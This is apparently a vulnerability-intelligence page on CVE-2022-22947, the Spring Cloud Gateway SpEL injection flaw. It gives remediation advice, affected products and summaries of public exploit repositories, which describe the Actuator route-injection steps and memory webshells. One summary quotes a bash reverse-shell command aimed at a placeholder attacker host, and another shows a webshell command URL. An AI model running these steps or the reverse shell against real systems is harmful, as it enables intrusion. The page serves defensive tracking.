Skip to main content
Mallory
CriticalExploited in the wildCISA KEVPublic exploitVulnerability

CVE-2022-22947: Spring Cloud Gateway Actuator SpEL Injection RCE

Published Mar 3, 2022 · Updated 24 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days1 mention · peak 1 in a dayToday
CVSS10.0Critical · v3.1
EPSS95.6%100th percentile
CISA KEVYesAdded May 16, 2022
In the wildActivePer CISA KEV
Vendors
Oracle CorporationVMware
IdentifiersCVE-2022-22947CWE-917 · Improper Neutralization of Special…

CVE-2022-22947 is a Spring Expression Language (SpEL) injection vulnerability in Spring Cloud Gateway affecting version 3.1.0, versions 3.0.0 through 3.0.6, and older unsupported releases. Exploitation requires the Gateway Actuator endpoint to be enabled, exposed, and unsecured. An attacker can submit a malicious route definition containing a SpEL expression in a filter configuration, such as AddResponseHeader, and trigger a gateway route refresh. Permissive expression evaluation in ShortcutConfigurable.getValue allows the expression to invoke Java runtime functionality and execute arbitrary operating-system commands.

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Analyst brief

Impact, mitigation & remediation

What it means and what to do now: patch path, interim mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Successful exploitation permits remote code and command execution with the privileges of the Spring Cloud Gateway application process, compromising application confidentiality, integrity, and availability. Attackers can access data and credentials available to that process, modify application resources, deploy malware, or disrupt gateway services. Host and downstream compromise depend on the application's privileges and network access. Exploitation has been incorporated into botnet propagation, including EnemyBot.

Mitigation

If you can’t patch tonight, do this now.

Disable the Gateway Actuator endpoint or remove its web exposure if it is unnecessary. If management access is required, enforce authentication and authorization and restrict network access to trusted administrators or management networks. WAF rules targeting CVE-2022-22947 can provide supplementary protection but should not replace patching and endpoint access controls.

Remediation

Patch, then assume compromise.

Upgrade Spring Cloud Gateway to version 3.0.7 or later in the 3.0.x branch, or version 3.1.1 or later in the 3.1.x branch. Move older unsupported deployments to a supported, patched release. The fix replaces permissive StandardEvaluationContext usage with GatewayEvaluationContext in ShortcutConfigurable.getValue to restrict expression evaluation.

Public exploits

Exploits

24 exploits validated by Mallory's analysis. Hidden: 8 rejected by Mallory's analysis as not a working exploit; 2 not yet analyzed, such as Exploit-DB entries.

View more in app →
spring_cloud_gateway_rce.rbThis repository contains a single Metasploit module (modules/exploits/linux/http/spring_cloud_gateway_rce.rb) that exploits CVE-2022-22947, a remote code execution vulnerability in VMware Spring Cloud Gateway versions 3.1.0 and 3.0.0 to 3.0.6. The exploit targets the Actuator management endpoints (/actuator/gateway/routes and /actuator/gateway/refresh) when they are exposed and not secured. The module allows an unauthenticated attacker to inject a malicious route containing a SpEL (Spring Expression Language) payload, which is then triggered to execute arbitrary commands or deploy a reverse shell payload. The exploit is weaponized, supporting both command execution and staged payloads (e.g., Meterpreter reverse shell), and includes cleanup routines to remove the malicious route after exploitation. The code is written in Ruby and is designed to be used within the Metasploit framework.Disclosed Jan 26, 2022 · Framework: metasploit · ruby · networkWeaponizedSpring-Cloud-Gateway-CVE-2022-22947This repository provides a working exploit for CVE-2022-22947, a remote code execution vulnerability in VMware Spring Cloud Gateway (versions <3.1.1 and <3.0.7) when the Actuator API is exposed. The exploit consists of a Python script ('spring_cloud_RCE.py') that automates the attack steps: it sends crafted HTTP requests to the Actuator endpoints to add a malicious route containing a SpEL payload, triggers a refresh to apply the route, retrieves the result of the executed command (default: 'id'), and finally deletes the route to clean up. The exploit leverages the ability to inject SpEL expressions via the Actuator API, resulting in arbitrary command execution on the target server. The repository also includes detailed markdown documentation in both Chinese and English, describing the vulnerability, affected versions, mitigation steps, and manual exploitation steps. The main attack vector is network-based, targeting HTTP endpoints exposed by the vulnerable Spring Cloud Gateway instance.lucksec · Disclosed Mar 2, 2022 · python · networkOperationalCVE-2022-22947_Rce_ExpThis repository contains a Python exploit script (CVE-2022-22947.py) targeting the Spring Cloud Gateway remote code execution vulnerability (CVE-2022-22947). The exploit works by injecting a malicious filter into the gateway's routes via the /actuator/gateway/routes endpoint, then refreshing the configuration and retrieving the output of an arbitrary system command provided by the user. The script interacts with three main endpoints: /actuator/gateway/routes/66Sec (for both adding the malicious route and retrieving results) and /actuator/gateway/refresh (to apply the changes). The exploit requires the target to have the actuator endpoints exposed and accessible. The README provides a brief description and screenshots of successful exploitation. The code is operational and allows for arbitrary command execution, making it a practical exploit for this vulnerability.SecNN · Disclosed Mar 3, 2022 · python · networkOperationalCVE-2022-22947This repository provides a working exploit for CVE-2022-22947, a critical remote code execution vulnerability in VMware's Spring Cloud Gateway (versions <3.0.7 and <3.1.1) when the Actuator endpoint is enabled and exposed. The exploit is implemented in Python (exploit.py) and leverages a SpEL (Spring Expression Language) injection via the /actuator/gateway/routes API. The script allows an attacker to execute arbitrary system commands on the target server and retrieve their output. The workflow involves deploying a malicious route, refreshing the gateway, retrieving the command output, and cleaning up by removing the route. The repository includes a README.md with usage instructions and references, the main exploit script (exploit.py), and a requirements.txt for dependencies. The attack vector is network-based, targeting HTTP endpoints exposed by the vulnerable application.crowsec-edtech · Disclosed Mar 3, 2022 · python · text · networkOperationalCVE-2022-22947-Spring-Cloud-GatewayThis repository provides an operational exploit for CVE-2022-22947, a remote code execution vulnerability in VMware Spring Cloud Gateway. The main exploit logic is implemented in Go (main.go) and automates the exploitation process by interacting with the vulnerable management endpoints. The exploit works by adding a new route with a malicious SpEL expression that executes arbitrary system commands, refreshing the gateway to apply the route, retrieving the command output, and then cleaning up by deleting the route and refreshing again. The tool supports both single-target and batch exploitation (via url.txt). The README provides detailed usage instructions and describes the HTTP requests involved. The exploit targets Spring Cloud Gateway instances with exposed /actuator/gateway/routes and /actuator/gateway/refresh endpoints, and is capable of executing arbitrary commands on the target server.tangxiaofeng7 · Disclosed Mar 4, 2022 · go · networkOperationalCVE-2022-22947-Spring-Cloud-Gateway-SpelRCEThis repository contains a Python exploit script (CVE-2022-22947.py) and a README.md. The exploit targets CVE-2022-22947, a remote code execution vulnerability in Spring Cloud Gateway's Actuator endpoint. The script allows the user to execute arbitrary system commands or obtain a reverse shell on a vulnerable server by abusing the /actuator/gateway/routes and /actuator/gateway/refresh endpoints. The exploit works by creating a malicious route filter using SpEL injection, triggering a refresh, and then retrieving the command output. The script supports both direct command execution and reverse shell payloads, with the latter requiring the user to input a shell command (e.g., bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1). The README provides usage instructions and describes the affected product versions. The code is operational and can be used to gain remote code execution on unprotected, vulnerable Spring Cloud Gateway instances.MoCh3n · Disclosed Mar 7, 2022 · python · networkOperationalCVE-2022-22947This repository contains a Python exploit script (CVE-2022-22947.py) targeting the Spring Cloud Gateway vulnerability CVE-2022-22947. The exploit leverages exposed actuator endpoints to inject a malicious route filter, enabling remote command execution or a reverse shell on the target server. The script provides two main functionalities: executing arbitrary commands and establishing a reverse shell to an attacker-controlled host. The exploit works by sending crafted JSON payloads to the /actuator/gateway/routes and /actuator/gateway/refresh endpoints, then retrieving the command output. The README provides usage instructions for both command execution and reverse shell. The repository is straightforward, with one main exploit script and a brief README, and is operational with hardcoded payloads for exploitation.0x7eTeam · Disclosed Mar 8, 2022 · python · networkOperationalCVE-2022-22947_expThis repository contains a Python exploit script (CVE-2022-22947.py) targeting CVE-2022-22947, a remote code execution vulnerability in VMware Spring Cloud Gateway. The exploit works by abusing the actuator API endpoints to create a new route with a malicious filter that executes arbitrary system commands. The command output is returned in a custom HTTP response header ('Result'). The script automates the process of creating the route, triggering the command, retrieving the output, and cleaning up by deleting the route. The only other file is a README.md with basic usage instructions. The exploit requires the target's actuator endpoints to be accessible and is capable of executing arbitrary commands on the target server.Arrnitage · Disclosed Mar 10, 2022 · python · networkOperationalspring-cloud-gateway-rceThis repository provides a Python exploit script (spring-cloud-gateway-rce.py) targeting CVE-2022-22947, a remote code execution vulnerability in VMware Spring Cloud Gateway. The exploit abuses the Actuator API's /actuator/gateway/routes and /actuator/gateway/refresh endpoints to inject a malicious route containing a SpEL (Spring Expression Language) expression. This expression executes arbitrary system commands on the target server using java.lang.Runtime.exec. The script supports both Linux and Windows targets, allows the attacker to specify arbitrary commands, and can be used to spawn a reverse shell. The README provides usage instructions and examples. The exploit is operational and can be used to gain remote code execution on vulnerable Spring Cloud Gateway instances with exposed Actuator endpoints.k3rwin · Disclosed Mar 13, 2022 · python · networkOperationalCVE-2022-22947This repository contains a POC/EXP Python script for CVE-2022-22947, a remote code execution vulnerability in VMware Spring Cloud Gateway (versions < 3.1.1 and < 3.0.7). The exploit is implemented as a pocsuite3 module, leveraging the framework's API for exploitation. The main script, 'CVE-2022-22947_POC_EXP.py', defines a class that crafts HTTP requests to the vulnerable actuator endpoints of Spring Cloud Gateway. The exploit works by creating a new route with a malicious filter that executes arbitrary system commands via Java's Runtime.exec, then refreshes the gateway, retrieves the command output, and finally deletes the malicious route. The script supports customizable payloads, including reverse shells (nc, bash, powershell). The README provides usage instructions for both verification and exploitation modes. The exploit is operational and can be used to achieve remote code execution on vulnerable targets, provided the actuator endpoints are exposed and accessible.Wrin9 · Disclosed Mar 17, 2022 · Framework: pocsuite3 · python · networkOperationalspring_cloud_gateway_memshellThis repository contains a Python exploit script targeting CVE-2022-22947 in VMware Spring Cloud Gateway. The exploit leverages exposed actuator endpoints to inject a Java memory shell (memshell) into the target application. The script supports two shell types ('spring' and 'netty'), both of which are injected by sending a crafted, base64-encoded payload to the /actuator/gateway/routes/new_route endpoint. After injection, the /actuator/gateway/refresh endpoint is called to activate the new route. The attacker can then execute arbitrary commands on the target via HTTP requests to the injected shell endpoint (e.g., /GYWA?cmd=whoami). The repository consists of a README.md (with usage instructions and references) and the main exploit script (spring_cloud_gateway_memshell.py). The exploit is operational and provides a working web shell if the target is vulnerable and accessible.viemsr · Disclosed Mar 18, 2022 · python · networkOperationalcve-2022-22947-spring-cloud-gatewayThis repository is a proof-of-concept and exploitation toolkit for CVE-2022-22947, a critical remote code execution vulnerability in Spring Cloud Gateway. The exploit leverages the ability to register new routes via the /actuator/gateway/routes/{id} endpoint, injecting a malicious SpEL (Spring Expression Language) payload in the filter configuration. When the /actuator/gateway/refresh endpoint is called, the SpEL is evaluated, leading to arbitrary code execution. The repository includes: - A detailed README.md explaining the vulnerability, affected versions, exploitation steps, and mitigation. - Java source files for two types of memory shells: NettyMemShell (injects a Netty handler for command execution via HTTP headers) and SpringRequestMappingMemshell (registers a new request mapping for command execution). - Example payloads and base64-encoded class files for memory shells. - A sample Spring Boot application configured to demonstrate the vulnerability. The exploit requires the target to have the 'gateway' actuator endpoint enabled and exposed. The attacker can then use HTTP POST requests to inject and trigger the payload. The provided memory shells allow persistent access and command execution via HTTP requests. The repository is operational and can be used to demonstrate or further develop exploits for this vulnerability.Enokiy · Disclosed Mar 21, 2022 · java · xml · networkOperationalCVE-2022-22947This repository provides an operational exploit for a remote code execution (RCE) vulnerability in Spring Cloud Gateway's actuator endpoints. The main exploit script, 'gateway_rce.py', is written in Python and automates the process of exploiting the vulnerability by creating a malicious route via the '/actuator/gateway/routes' endpoint, which injects a payload for command execution. The script supports several functions: vulnerability detection (by executing 'whoami'), arbitrary command execution, reverse shell via bash and /dev/tcp, outbound network connectivity testing (using www.baidu.com), and uploading/executing a Java-based reverse shell (shell.java). The Java file 'shell.java' is a cross-platform reverse shell that connects back to a specified IP and port, providing an interactive shell to the attacker. The exploit is interactive, requiring the user to input the target URL and select actions. The README provides detailed usage instructions and screenshots. The exploit is not part of a known framework and is intended for manual exploitation of vulnerable Spring Cloud Gateway instances.Vancomycin-g · Disclosed Mar 29, 2022 · python · java · networkOperationalcve-2022-22947-godzilla-memshellThis repository contains a single Java class (GMemShell.java) and a brief README. The Java class implements a memory-resident webshell (memshell) designed to be injected into a vulnerable Spring Cloud Gateway application (targeting CVE-2022-22947). The exploit registers a new HTTP POST endpoint at /cmd, which accepts AES-encrypted, base64-encoded Java class payloads. The attacker can upload a payload, which is loaded and executed in memory, allowing for arbitrary code execution. The code includes cryptographic routines for AES encryption/decryption and base64 encoding/decoding, as well as dynamic class loading via reflection. The README references a blog post describing the injection technique. The exploit is operational and provides a stealthy, in-memory webshell for post-exploitation on vulnerable Java/Spring Cloud Gateway targets.whwlsfb · Disclosed Apr 26, 2022 · java · networkOperationalCVE-2022-22947-This repository contains a Python exploit (exp.py) targeting CVE-2022-22947, a critical vulnerability in VMware Spring Cloud Gateway's Actuator API that allows SpEL expression injection and remote code execution. The exploit automates the process of injecting a Godzilla memory shell (webshell) into the target application by abusing the AddResponseHeader filter and loading a malicious Java class via a Base64-encoded payload. The exploit works by creating a new route with the malicious payload, refreshing the gateway to apply the route, and then triggering the payload to install the webshell at the /gmem endpoint. The README provides a brief description and references for further information and testing environments. The repository structure is simple, with one main exploit script (exp.py) and a README. The exploit requires the target's Actuator endpoints to be accessible and does not clean up after itself, leaving the malicious route in place unless manually removed.0730Nophone · Disclosed May 16, 2022 · python · networkOperationalCVE-2022-22947_EXPThis repository provides an operational exploit for CVE-2022-22947, a remote code execution vulnerability in VMWare Spring Cloud Gateway. The exploit is implemented in Python (cve-2022-22947.py) and allows an attacker to execute arbitrary system commands on vulnerable Spring Cloud Gateway instances by abusing the /actuator/gateway/routes and /actuator/gateway/refresh endpoints. The script supports both single and batch target modes, as well as reverse shell payloads. The exploit works by creating a malicious route with a filter that executes a base64-encoded command via Java's Runtime.exec, refreshing the routes, and then retrieving the command output. The repository also includes a README with detailed usage instructions and a sample url.txt file for batch testing. The main attack vector is network-based, targeting exposed HTTP endpoints. The exploit is operational, providing real command execution and output retrieval, and is not just a proof of concept.anansec · Disclosed May 19, 2022 · python · networkOperationalCVE-2022-22947-POCThis repository contains a Python exploit script (CVE-2022-22947.py) targeting the Spring Cloud Gateway remote code execution vulnerability (CVE-2022-22947). The exploit works by sending crafted HTTP POST requests to the /actuator/gateway/routes and /actuator/gateway/refresh endpoints of a vulnerable Spring Cloud Gateway instance. It injects a malicious filter that executes arbitrary system commands (by default, 'id') and retrieves the output via a custom HTTP response header. The script supports targeting single or multiple URLs and can use a proxy. The repository also includes a README.md with vulnerability details and mitigation advice, and a requirements.txt listing Python dependencies. The main attack vector is network-based, requiring access to the vulnerable actuator endpoints. The exploit is operational, providing real command execution on the target if successful.stayfoolish777 · Disclosed Jun 8, 2022 · python · networkOperationalCVE-2022-22947This repository contains a single Python exploit script (exp.py) and a README. The exploit targets CVE-2022-22947, a vulnerability in Spring Cloud Gateway that allows unauthenticated remote code execution via the /actuator/gateway/routes API. The script supports injecting three types of memory shells (webshells): Spring, Netty, and Godzilla (哥斯拉). The user specifies the shell type and the target URL. The script crafts a JSON payload containing a base64-encoded Java class for the chosen shell, sends it to the vulnerable endpoint, refreshes the gateway, and provides instructions for accessing the shell. The README provides usage instructions and references. The exploit is operational and provides persistent remote access if successful. No hardcoded IPs or domains are present; the target is specified by the user at runtime.SiJiDo · Disclosed Aug 23, 2022 · python · networkOperationalCVE-2022-22947This repository is a Go-based exploit tool targeting CVE-2022-22947, a remote code execution vulnerability in VMware Spring Cloud Gateway. The exploit injects a Godzilla memory shell (webshell) into the target application by abusing the /actuator/gateway/routes endpoint. The main functionality is implemented in 'main.go', which parses command-line arguments for the target URL (-u) and an optional proxy (-p). The tool crafts a malicious payload containing a Base64-encoded Java class for the Godzilla memory shell and sends it to the vulnerable endpoint. If successful, it provides persistent remote access to the attacker. The repository is structured simply, with a single Go source file, Go module files, and a README describing usage. The exploit is operational, providing a working payload and proxy support for real-world attacks.Zh0um1 · Disclosed Feb 7, 2023 · go · networkOperationalvulhub-spring-cve-2022-22947This is a deliberately vulnerable deployment lab for CVE-2022-22947, with a genuine manual exploit walkthrough rather than a standalone exploit program. Both app/README files supply a hardcoded SpEL payload that runs 'id'. The attack creates an AddResponseHeader route through the unsecured Gateway Actuator, triggers expression evaluation by refreshing the gateway, retrieves command stdout through route inspection, and then deletes the route and refreshes again. No reverse-shell implementation, persistence, credential theft, or exfiltration payload is supplied. OPERATIONAL reflects the supplied basic command payload, not automated exploitation or verified runtime success. The 36 files include 16 source/provisioning code files: seven Terraform files, five shell scripts, one Ruby Vagrantfile, one Java application, and two Dockerfiles. YAML/JSON/XML files provide deployment configuration and metadata. app/ contains the unchanged upstream Compose environment and bilingual exploit documentation. base/ contains the Maven/Java target source using Spring Boot 2.6.4 and Spring Cloud Gateway 3.1.0, with every actuator endpoint exposed and a default example.com route. build/spring/ derives from Vulhub's tagged image and removes its unauthenticated JDWP debugger; the unchanged app/ Compose configuration still publishes debugger port 5005 if used separately. isoloom.yml defines one amd64 target on 10.61.15.10 with HTTP port 8080, resource limits, and no internet access. Generated .isoloom/ outputs support Docker, Kubernetes, Vagrant-backed Docker hosts, Proxmox, and six cloud providers. Docker isolation removes the target's default route; Kubernetes isolation depends on NetworkPolicy enforcement. Cloud host ingress is restricted by an operator-supplied allowed_cidr, while the Kubernetes published service allows access to port 8080. The check scripts only verify actuator exposure, route-list availability, and blocked internet access; they do not perform SpEL injection or prove RCE. GitHub workflows validate generated infrastructure, start and test the lab, and register approved labs using secret-configured publishing endpoints. No exploit framework is present: Vulhub supplies the vulnerable environment and Isoloom supplies deployment orchestration. The scoped rm -rf commands belong to CI disk cleanup and Vagrant project replacement, not a fake exploit payload. The analyzed repository URL, git reference, and archive size were not provided; empty strings and zero represent unavailable metadata. UPSTREAM.md separately identifies the vendored Vulhub commit as 8fd63916f7a8711e2e01dda0d27237e4d6175d38. Findings are based on static inspection only.CyberCTF · Disclosed Oct 8, 2026 · java · sh · web · networkOperationalhdu-is-work1-secure-apiThis is an educational secure-development repository containing a genuine, standalone CVE-2022-22947 exploit, not an exploit framework. The inventory contains 32 files, including 11 Python source files, one shell script, and one Java source file. The remaining files provide container/build configuration, dependencies, CI, documentation, and report styling. No archive size or analyzed Git reference was supplied; size_bytes=0 denotes unavailable metadata. The main exploit is vulnerable-environment/CVE-2022-22947/exploit.py. It checks Actuator health, creates a route with an AddResponseHeader filter containing a SpEL payload, refreshes Gateway routes to trigger evaluation, and reads the route to obtain output from the hardcoded id command. A finally block attempts route deletion and another refresh. Success is determined by finding uid= in the returned route. The vulnerability enables execution with the Gateway process's privileges; root execution is claimed for the supplied vulnerable lab image but is not inherent to the vulnerability. The script supports a configurable target URL but has no command-selection option, reverse shell, persistence, or external exfiltration mechanism. The CVE directory includes a Vulhub 3.1.0 deployment and a separately built 3.1.1 fixed application using Maven, Java 8, and Spring Boot. The fixed container runs as an unprivileged app user. Documentation attributes remediation to restricting expression evaluation. verify-fix.py submits the same execution payload, checks for absent uid= output, and verifies health, the existing index route, and a benign response-header filter. It actively attempts exploitation rather than performing passive detection. Its negative result is not conclusive: it does not require successful malicious-route creation or assert the documented HTTP 404 outcome, so unrelated attack-path errors could also produce a pass. Cleanup in either script can fail on transport errors, and the verifier lacks finally-based cleanup. The repository's separate Flask application resides in app.py and secure_api/, with SQLite persistence, scrypt password hashing, short-lived HS256 JWTs, parameterized SQL, output encoding, and security headers. tests/ contains fixtures and nine API tests; scripts/smoke_test.py exercises authentication and injection defenses; scripts/render_terminal.py converts report text into evidence images. GitHub Actions runs pytest, Bandit, pip-audit, and a container build. Markdown/HTML reports document the exercise. Notable limitations include exposed Actuator endpoints in the fixed lab configuration, a hardcoded demonstration password and credential/token logging in the smoke test, and an undeclared Pillow dependency for the renderer. The SQLi and XSS strings in API tests are defensive test inputs, not evidence of working exploits against the Flask application. Findings are based on static inspection of the supplied content; some documentation was truncated and no execution results were independently verified.AlaIchhe · Disclosed Oct 19, 2026 · python · java · webOperationalspring-cve-2022-22947This repository provides a proof-of-concept exploit for CVE-2022-22947, a code injection vulnerability in VMware's Spring Cloud Gateway. The exploit consists of a single 'Payload' file that outlines a three-step attack: (1) sending a crafted POST request to the /actuator/gateway/routes endpoint to inject a malicious SpEL expression that executes the 'id' command, (2) refreshing the gateway configuration via the /actuator/gateway/refresh endpoint, and (3) retrieving the command output by querying the injected route. The exploit leverages exposed actuator endpoints to achieve remote code execution. The repository also includes a brief README identifying the vulnerability. No framework is used; the exploit is a standalone POC using raw HTTP requests.Vulnmachines · Disclosed Mar 3, 2022 · http · markdown · networkPoCcve-2022-22947This repository provides a proof-of-concept (PoC) exploit for CVE-2022-22947, a critical vulnerability in Spring Cloud Gateway's Actuator API that allows remote code execution via SpEL injection. The repository contains a Dockerfile to build and run a vulnerable Spring Cloud Gateway instance on port 9000. The README.md details the exploitation steps: sending crafted HTTP requests to the Actuator API to add a route containing a malicious SpEL expression, refreshing the gateway to trigger code execution, retrieving the command output, and cleaning up by deleting the route. The exploit demonstrates execution of arbitrary system commands (e.g., 'id') on the target server. The main attack vector is network-based, targeting the exposed Actuator API endpoints. No actual exploit code is present; the PoC relies on HTTP requests and payloads described in the documentation.twseptian · Disclosed Apr 15, 2022 · Dockerfile · networkPoCCVE-2022-22947-pb-aiThis repository is a proof-of-concept (PoC) application for demonstrating and verifying CVE-2022-22947, a remote code execution vulnerability in Spring Cloud Gateway. The project is a minimal Spring Boot application configured with a vulnerable version of Spring Cloud Gateway (3.1.0) and exposes all Actuator endpoints, including the gateway management endpoints. The README provides detailed exploitation steps: an attacker can POST a malicious route containing a SpEL expression to the /actuator/gateway/routes/test endpoint, refresh the routes via /actuator/gateway/refresh, and then trigger code execution by accessing /test. The provided payload demonstrates launching the Calculator app on macOS, but arbitrary commands could be executed. The repository structure is typical for a Maven-based Java project, with the main application entry point in VulnerableGatewayApplication.java and configuration in application.yml. This PoC is intended for educational and research purposes only and should not be used in production environments.skysliently · Disclosed Aug 8, 2025 · java · yaml · networkPoC
Exposure surface

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
Oracle CorporationCommerce Guided Searchapplication
Oracle CorporationCommunications Cloud Native Core Binding Support Functionapplication
Oracle CorporationCommunications Cloud Native Core Consoleapplication
Oracle CorporationCommunications Cloud Native Core Network Exposure Functionapplication
Oracle CorporationCommunications Cloud Native Core Network Function Cloud Native Environmentapplication
Oracle CorporationCommunications Cloud Native Core Network Repository Functionapplication
Oracle CorporationCommunications Cloud Native Core Network Slice Selection Functionapplication
Oracle CorporationCommunications Cloud Native Core Security Edge Protection Proxyapplication
Oracle CorporationCommunications Cloud Native Core Service Communication Proxyapplication
VMwareSpring Cloud Gatewayapplication
FAQ

Frequently asked questions

Is CVE-2022-22947 exploited in the wild?
Yes. As of Nov 4, 2026, Mallory has reports of exploitation in the wild, and CISA added it to KEV on May 16, 2022.
Is there a public exploit for CVE-2022-22947?
Yes. Mallory tracks 24 public exploits or proofs of concept for CVE-2022-22947, the earliest disclosed Jan 26, 2022.
Is there a patch for CVE-2022-22947?
Upgrade Spring Cloud Gateway to version 3.0.7 or later in the 3.0.x branch, or version 3.1.1 or later in the 3.1.x branch. Move older unsupported deployments to a supported, patched release.
What products are affected by CVE-2022-22947?
VMware Spring Cloud Gateway, Oracle Corporation Commerce Guided Search, Oracle Corporation Communications Cloud Native Core Binding Support Function, Oracle Corporation Communications Cloud Native Core Console, Oracle Corporation Communications Cloud Native Core Network Exposure Function, and 5 more.
How severe is CVE-2022-22947?
CVE-2022-22947 has a CVSS v3.1 score of 10.0 (Critical) and an EPSS score of 95.6% (100th percentile) as of Nov 4, 2026.
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, and which detections to deploy tonight.
Exposure mappingQuery your assets running an affected version, and investigate the blast radius.
Threat actor evidence2Every report linking this CVE to a named adversary.
Associated malware12Malware families linked to this CVE, with evidence and IOCs.
Detection signatures4YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Vendor-by-vendor mappingCross-references every affected SKU, including bundled OEM variants.
Social activity3Community discussion across Reddit, Mastodon, and other social sources.